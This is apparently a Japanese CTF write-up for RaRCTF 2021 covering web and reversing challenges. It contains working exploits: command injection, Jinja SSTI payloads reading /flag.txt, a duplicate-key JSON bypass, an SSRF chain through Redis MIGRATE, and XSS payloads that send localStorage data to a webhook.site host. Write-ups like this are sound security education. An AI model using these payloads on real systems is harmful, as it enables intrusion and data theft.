8/7 - 8/10という日程で開催された。zer0ptsで参加して2位。2位の賞金に加えてSecure Storageでfirst bloodを取った賞品(猫型ランプ+α)ももらえるらしく嬉しい。
→ (9/9追記) 届いた。かわいい。
七色に光る猫🐈 Thank you @WinrarsCTF! pic.twitter.com/IS4YBXR2yf
— st98 (@st98_) September 9, 2021
- [Web 100] lemonthinker (395 solves)
- [Web 150] Secure Uploader (137 solves)
- [Web 100] Fancy Button Generator (109 solves)
- [Web 400] Microservices As A Service 1 (75 solves)
- [Web 500] Microservices As A Service 2 (59 solves)
- [Web 600] Microservices As A Service 3 (35 solves)
- [Web 650] MAAS 3.5: User Manager (32 solves)
- [Web 650] Secure Storage (17 solves)
- [Web 550] MAAS 2.5: Notes (16 solves)
- [Web 250] Electroplating (15 solves)
- [Rev 600] boring flag checker (23 solves)
[Web 100] lemonthinker (395 solves)
OS Command Injection。
@app.route('/generate', methods=['POST']) def upload(): global clean if time.time() - clean > 60: os.system("rm static/images/*") clean = time.time() text = request.form.getlist('text')[0] text = text.replace("\"", "") filename = "".join(random.choices(chars,k=8)) + ".png" os.system(f"python3 generate.py {filename} \"{text}\"") return redirect(url_for('static', filename='images/' + filename), code=301)
$(cat /flag.txt|cut -c2-)
みたいな感じで cut
コマンドを使ってちまちまフラグを読み出せばよい。
rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf}
[Web 150] Secure Uploader (137 solves)
Path Traversal。Burp Suiteなどで ///flag
という名前のファイルをアップロードすればフラグが得られる。
rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}
[Web 100] Fancy Button Generator (109 solves)
XSS botは javascript:
スキームのURLも受け付けてくれる。javascript:location.href=['https://webhook.site/…?',localStorage.flag]
というURLを報告するとフラグが得られた。
rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}
[Web 400] Microservices As A Service 1 (75 solves)
以下のように不必要に eval
が呼ばれており、好きなPythonコードが実行できる。
@app.route('/arithmetic', methods=["POST"]) def arithmetic(): if request.form.get('add'): r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}') elif request.form.get('sub'): r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}') elif request.form.get('div'): r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}') elif request.form.get('mul'): r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}') result = r.json() res = result.get('result') if not res: return str(result.get('error')) try: res_type = type(eval(res)) if res_type is int or res_type is float: return str(res) else: return "Result is not a number" except NameError: return "Result is invalid"
ただし、/flag.txt
を読み出そうにも外部との通信はできないし、コードからわかるように eval
した結果が表示されることもない。でも、エラーが起きたかどうかはわかるので、その情報を使って1ビットずつフラグを読み出せばよい。
import urllib.parse import requests def query(n1, n2): r = requests.post('https://maas.rars.win/calculator', data={ 'mode': 'arithmetic', 'add': '+', 'n1': n1, 'n2': n2 }) t = r.text t = t[t.find(r'<pre style="border: 2px solid black">')+37:] t = t[:t.find('\n')] if 'DOCTYPE HTML PUBLIC' in t: raise Exception('??') return 'not a number' not in t i = 0 res = '' while True: c = 0 for j in range(7): if query(f"""(ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'""", '%23'): c |= 1 << j res += chr(c) print(i, res) i += 1
rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}
[Web 500] Microservices As A Service 2 (59 solves)
notes
の /render
で render_template_string
が呼ばれており、bio
というユーザ入力を引数としているためSSTIができる。
@app.route("/render", methods=["POST"]) def render_bio(): data = request.json.get('data') if data is None: data = {} return render_template_string(request.json.get('bio'), data=data)
ただし、このAPIを直接呼ぶことはできない。以下のように表からアクセスできる app
から /notes/profile
にアクセスすることで間接的に呼び出される。
def render_bio(username, userdata): data = {"username": username, "mode": "bioget"} r = requests.post("http://notes:5000/useraction", data=data) try: r = requests.post("http://notes:5000/render", json={"bio": r.text, "data": userdata}) return r.text except: return "Error in bio" # ... @app.route('/notes/profile', methods=["POST", "GET"]) def profile(): username = session.get('notes-username') if not username: return redirect('/notes/register') uid = requests.get(f"http://notes:5000/getid/{username}").text if request.method == "GET": return render_template("profile.html", bio=render_bio(username, userdata(username)), userid=uid ) # ...
render_template_string
に渡される bio
の変更は以下のようなコードでなされる。よく見ると bio.replace
の結果が bio
に代入されていない。Pythonの str.replace
は非破壊的であるから、結局 {
や }
といった文字は bio
から取り除かれない。
elif mode == "bioadd": bio = request.form.get("bio") bio.replace(".", "").replace("_", "").\ replace("{", "").replace("}", "").\ replace("(", "").replace(")", "").\ replace("|", "") bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'{{data["\g<1>"]}}', bio) red = redis.Redis(host="redis_users") port = red.get(username).decode() requests.post(f"http://redis_userdata:5000/bio/{port}", json={ "bio": bio }) return ""
{{url_for.__globals__['__builtins__'].open('/flag.txt').read()}}
を bio
に設定するとフラグが得られた。
rarctf{wh4t_w4s_1_th1nk1ng..._60a4ee96}
[Web 600] Microservices As A Service 3 (35 solves)
ユーザ名が admin
であり、かつユーザIDが 0
であるユーザにログインできればフラグが得られる。
@app.route("/login", methods=["POST"]) def login(): user = request.json['username'] password = request.json['password'] entry = get_user(name=user) if entry: if entry[2] == password: data = {"uid": entry[0], "name": user} if user == "admin" and entry[0] == 0: data['flag'] = open("/flag.txt").read() return jsonify(data) else: return jsonify({"error": "Incorrect password"}) else: return jsonify({"uid": add_user(user, password), "name": user})
ユーザ側からユーザIDを変更することはできない。パスワードについては表からアクセスできる app
の /manager/update
で変更できるが、以下のようにJSONスキーマによって変更対象のユーザのIDが自身のID以上の数値であるかチェックされている。
JSONスキーマによるユーザ入力のチェック後に http://manager:5000/update
という内部からだけアクセスできるAPIを叩いてユーザ情報を変更している。ここでPOSTするデータとして request.get_data()
を与えているが、これはPOSTされたデータをそのまま返す関数であることに注意する。つまり、重複したキーを持つJSONが与えられたとしても、manager
のAPIを叩くときにはそのままそのJSONが与えられてしまう。
@app.route("/manager/update", methods=["POST"]) def manager_update(): schema = {"type": "object", "properties": { "id": { "type": "number", "minimum": int(session['managerid']) }, "password": { "type": "string", "minLength": 10 } }} try: jsonschema.validate(request.json, schema) except jsonschema.exceptions.ValidationError: return jsonify({"error": f"Invalid data provided"}) return jsonify(requests.post("http://manager:5000/update", data=request.get_data()).json())
manager
側の /update
のコードを確認すると、以下のように与えられたJSONをさらに manager_updater
に投げている。
@app.route("/update", methods=["POST"]) def update(): return jsonify(requests.post("http://manager_updater:8080/", data=request.get_data()).json())
manager_updater
はGoで書かれている。Python側ではユーザIDが 0
以外のものに、Go側では 0
に解釈されるようなJSONを投げれば admin
のパスワードを変更できるのではないか。
以下のように複数の id
キーを持つJSONを使うと、admin
のパスワードを変更し admin
としてログインすることができた。
import base64 import json import uuid import zlib import requests def parse_session(sess): compressed = False if sess[0] == '.': compressed = True sess = sess[1:] sess = base64.urlsafe_b64decode(sess.split('.')[0] + '==') if compressed: sess = zlib.decompress(sess) sess = json.loads(sess[:sess.find(b'}')+1]) return sess host = 'https://maas.rars.win/' username = str(uuid.uuid4()) password = str(uuid.uuid4()) s = requests.Session() s.post(f'{host}/manager/login', data={ 'username': username, 'password': password }) sess = parse_session(s.cookies['session']) id = sess['managerid'] r = s.post(f'{host}/manager/update', data=f'{{"id":0,"id":{id},"password":"{password}"}}', headers={ 'content-type': 'application/json' }) print(r.text) r = requests.post(f'{host}/manager/login', data={ 'username': 'admin', 'password': password }) print(r.text)
rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}
[Web 650] MAAS 3.5: User Manager (32 solves)
Microservices As A Service 3と同じexploitでフラグが得られた。
rarctf{k33p_n3tw0rks_1s0l4t3d_lol_ef2b8ddc}
[Web 650] Secure Storage (17 solves)
securestorage.rars.win
と secureenclave.rars.win
というふたつのドメインがあり、前者のページが後者のページを iframe
で埋め込んでいるという関係にある。フラグは secureenclave.rars.win
の localStorage
に格納されている。
secureenclave.rars.win
では以下のようなスクリプトが実行されており、securestorage.rars.win
から postMessage
でデータが届けばそれを表示するという処理を行っている。
/* hey... what are you doing here??? 😡 */ console.log("secure js loaded..."); const z=(s,i,t=window,y='.')=>s.includes(y)?z(s.substring(s.indexOf(y)+1),i,t[s.split(y).shift()]):t[s]=i; var user = ""; const render = () => { document.getElementById("user").innerText = user; document.getElementById("message").innerText = localStorage.message || "None set"; document.getElementById("message").style.color = localStorage.color || "black"; }; window.onmessage = (e) => { let { origin, data } = e; if(origin !== document.getElementById("site").innerText || !Array.isArray(data)) return; z(...data.map(d => `${d}`)); render(); };
z
という関数をリネームなどで読みやすくすると以下のようになる。この関数は z('a.b.c', 'poyo')
というように第一引数としてプロパティ名、第二引数として値を受け取り、そのプロパティに値を代入する。今挙げた例だと a.b.c = 'poyo'
とほぼ同じ。
function recursiveAssign(key, value, obj = window, delimiter = '.') { if (key.includes(delimiter)) { return recursiveAssign( key.substring(key.indexOf(delimiter) + 1), value, obj[key.split(delimiter)[0]] ); } return obj[key] = value; }
securestorage.rars.win
からは本来であれば ['localStorage.message','hello']
のようなメッセージだけが送られ、操作されるプロパティは localStorage
だけのはず。だが、securestorage.rars.win
にはログイン時のflash messageでユーザ名をエスケープせず出力する脆弱性があるため、このXSSによって任意のオブジェクトのプロパティが操作できてしまう。
location.href
に javascript:
スキームのURLを代入してしまえばよさそうだが、残念ながら secureenclave.rars.win
では default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com
というCSPが有効になっているために実行されない。ではどうするかというと、securestorage.rars.win
と secureenclave.rars.win
の両方で document.domain
に同じドメイン名を代入してページのオリジンを変えてしまえばよい。これなら securestorage.rars.win
から secureenclave.rars.win
の localStorage
の値が読み出せるはずだ。
以下のようなHTMLとJavaScriptを用意し、adminにアクセスさせるとフラグが得られた。
exp.html
<body> <form method="POST" action="https://securestorage.rars.win/api/register" id="form"> <input type="text" name="user" id="user"> <input type="text" name="pass" value="poyoyon"> </form> <script src="index.js"></script> </body>
index.js
const payload = ` <script> a = ${Math.random()}; window.addEventListener('load', () => { document.domain='rars.win'; let storage = document.getElementById("secure_storage"); setTimeout(()=>{ storage.contentWindow.postMessage(['document.domain', 'rars.win'], storage.src); setTimeout(() => { navigator.sendBeacon('https://webhook.site/…', storage.contentWindow.localStorage.message) }, 500) }, 500); }); </script> `; window.addEventListener('load', () => { document.getElementById('user').value = payload; document.getElementById('form').submit(); });
rarctf{js_god?_the_wh0le_1nternet_1s_y0ur_d0main!!!_60739238}
[Web 550] MAAS 2.5: Notes (16 solves)
Microservices As A Service 2の続き。bio.replace
の結果がちゃんと bio
に代入されるようになり、ただ bio
を変更するだけではSSTIでRCEに持ち込むことができなくなった。
このアプリでは redis_userdata
というホストでユーザごとにポート番号を割り振って別々にRedisサーバを立て、好きなキーに好きな値を SET
することができるようになっている。bio
は redis_userdata
の /tmp/(ポート番号).txt
というファイルに保存されており、ただRedisサーバにデータを書き込むだけではSSTIには持ち込めない。
このアプリには MIGRATE
コマンドで別のRedisサーバにデータをコピーできる keytransfer
という機能もあるらしい。
redis_userdata
の他にも redis_users
というRedisサーバが立っているホストがあり、こちらではユーザ名に対応するポート番号が格納されている。keytransfer
はデータのコピー先について、ポート番号だけでなくホスト名まで操作できるから、redis_users
にもデータを書き込めてしまう。
elif mode == "keytransfer": red = redis.Redis(host="redis_users") port = red.get(username).decode() red2 = redis.Redis(host="redis_userdata", port=int(port)) red2.migrate(request.form.get("host"), request.form.get("port"), [request.form.get("key")], 0, 1000, copy=True, replace=True) return ""
ユーザ名に対応するポート番号の書き換えで何ができるだろうか。ソースコードを読んで悪用の方法を考える。ユーザの bio
の表示では以下のように notes
の /useraction
というAPIを叩いてデータを取得してきているが、
def render_bio(username, userdata): data = {"username": username, "mode": "bioget"} r = requests.post("http://notes:5000/useraction", data=data) try: r = requests.post("http://notes:5000/render", json={"bio": r.text, "data": userdata}) return r.text except: return "Error in bio" # ... @app.route('/notes/profile', methods=["POST", "GET"]) def profile(): username = session.get('notes-username') if not username: return redirect('/notes/register') uid = requests.get(f"http://notes:5000/getid/{username}").text if request.method == "GET": return render_template("profile.html", bio=render_bio(username, userdata(username)), userid=uid )
notes
側では redis_users
から取ってきたポート番号を無検証に http://redis_userdata:5000/getuser/{port}
というURLに展開してHTTPリクエストを送っている。このため、例えばポート番号として数値でなく ../getuser/(適当なユーザのポート番号)
が返ってくると、/bio/(ポート番号)
の代わりに別の適当なユーザのデータが返ってきてしまう。
これなら適当なユーザのRedisサーバにSSTIのペイロードを仕込んでやることで、 str.replace
によるフィルターを回避してSSTIができる。
elif mode == "bioget": red = redis.Redis(host="redis_users") port = red.get(username).decode() r = requests.get(f"http://redis_userdata:5000/bio/{port}") return r.text
以下のexploitコードを実行するとフラグが得られた。
import re import uuid import requests #host = 'http://localhost:5000/' host = 'https://maas2.rars.win/' #payload = '{{config}}' payload = "{{url_for.__globals__['__builtins__'].open('/flag.txt').read()}}" username = str(uuid.uuid4()) s1 = requests.Session() # 1. register as (user_A) r = s1.post(host + '/notes/register', data={ 'username': username }) port = re.findall(r'Profile: (\d+)', r.text)[0] # 2. register as ../getid/(user_A) s2 = requests.Session() s2.post(host + '/notes/register', data={ 'username': f'../getid/{username}' }) # 3. set ../getid/(user_A)'s port as ../getuser/(user_A's port) using SSRF s1.post(host + '/notes/profile', data={ 'mode': 'adddata', 'key': f'../getid/{username}', 'value': f'../getuser/{port}' }) s1.post(host + '/notes/profile', data={ 'mode': 'keytransfer', 'host': 'redis_users', 'port': '6379', 'key': f'../getid/{username}' }) # 4. post SSTI payload as (user_A)'s entry s1.post(host + '/notes/profile', data={ 'mode': 'adddata', 'key': f'test', 'value': payload }) print(s2.get(host + '/notes/profile').text)
rarctf{.replace()_1s_n0t_1n_pl4c3...e8d54d13}
[Web 250] Electroplating (15 solves)
Rustで String
を返す関数内にユーザ入力が挿入され実行できるが、実行時にはseccompのために read
, write
, close
, mummap
, sendto
, exit
, readlink
, sigaltstack
, futex
, exit_group
, getrandom
の11個のシステムコールしか呼び出せないという制限がある。この制限の中で /flag.txt
を読み出さなければならない。
Rustには include_str!
というマクロがあり、これを使えばコンパイル時にファイルを文字列として読み込ませることができる。<templ>return String::from(include_str!("/flag.txt"));</templ>
でフラグが得られた。
rarctf{D0n7_l3t-y0ur-5k1ll5-g0-rus7y!-24c55263}
[Rev 600] boring flag checker (23 solves)
Brainf*ckのリバースエンジニアリング問。私が問題を確認した時点でx0r19x91さんとnyankoさんによって prog.bin
が既にBrainf*ckコードに変換されていた。
Brainf*ckコードを眺めていると、以下の画像の赤枠で囲った箇所ではメモリをクリアしていそうだなあとわかる。このメモリをクリアする箇所を削除すればどんな値がメモリに残るのか気になるところ。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
を入力した場合のメモリ:
0000: 01 01 00 EF 00 EF FE ED FB E6 30 02 ..........0. 000C: F9 31 F1 2E 02 E8 31 EC 34 2E F3 F7 .1....1.4... 0018: F2 E8 2E FD 02 F4 E8 34 1F EF 2D 30 .......4..-0 0024: F3 1B 3D 3B F6 02 EF 2E EB 40 02 FD ..=;.....@.. 0030: 2E 29 2A 30 2A 30 2A 2C 30 E4 00 00 .)*0*0*,0...
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
を入力した場合のメモリ:
0000: 01 01 00 F0 01 F0 FF EE FC E7 31 03 ..........1. 000C: FA 32 F2 2F 03 E9 32 ED 35 2F F4 F8 .2./..2.5/.. 0018: F3 E9 2F FE 03 F5 E9 35 20 F0 2E 31 ../....5...1 0024: F4 1C 3E 3C F7 03 F0 2F EC 41 03 FE ..><.../.A.. 0030: 2F 2A 2B 31 2B 31 2B 2D 31 E5 00 00 /*+1+1+-1...
rarctf{bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
を入力した場合のメモリ:
0000: 01 01 00 00 00 00 00 00 00 00 31 03 ..........1. 000C: FA 32 F2 2F 03 E9 32 ED 35 2F F4 F8 .2./..2.5/.. 0018: F3 E9 2F FE 03 F5 E9 35 20 F0 2E 31 ../....5...1 0024: F4 1C 3E 3C F7 03 F0 2F EC 41 03 FE ..><.../.A.. 0030: 2F 2A 2B 31 2B 31 2B 2D 31 E5 00 00 /*+1+1+-1...
これらを見比べると、正解の文字が増えるほど0の数が増えていることがわかる。この性質を使えば1文字ずつフラグが特定できる。
import io with open('poyo.bf', 'r') as f: code = f.read() class Memory(object): def __init__(self): self.memory = [0 for _ in range(30000)] self.accessed = [0 for _ in range(30000)] def __getitem__(self, k): self.accessed[k] += 1 return self.memory[k] def __setitem__(self, k, v): self.memory[k] = v def run(code, inp): mem = Memory() p = 0 i = 0 inp = io.BytesIO(inp) out = '' cycle = 0 while i < len(code): c = code[i] cycle += 1# if c == '+': mem[p] = (mem[p] + 1) % 256 elif c == '-': mem[p] = (mem[p] - 1) % 256 elif c == '>': p += 1 elif c == '<': p -= 1 elif c == '.': out += chr(mem[p]) elif c == ',': tmp = inp.read(1) if len(tmp) == 0: tmp = b'\0' mem[p] = ord(tmp) elif c == '[': if mem[p] == 0: d = 1 while d != 0 and i < len(code): i += 1 c = code[i] cycle += 1# if c == '[': d += 1 elif c == ']': d -= 1 elif c == ']': if mem[p] != 0: d = 1 while d != 0 and i >= 0: i -= 1 c = code[i] cycle += 1# if c == '[': d -= 1 elif c == ']': d += 1 i += 1 return { 'out': out, 'cycle': cycle, 'mem': mem.memory, 'freq': mem.accessed[:100] } flag = [0x61 for _ in range(55)] for i in range(len(flag)): ma, mc = 0, 0 for c in range(0x20, 0x7f): flag[i] = c cnt = run(code, bytes(flag))['mem'].count(0) if cnt > ma: ma, mc = cnt, c flag[i] = mc print(bytes(flag))
rarctf{1_h0p3_y0u-3njoy3d_my-Br41nF$&k_r3v!_d387171751}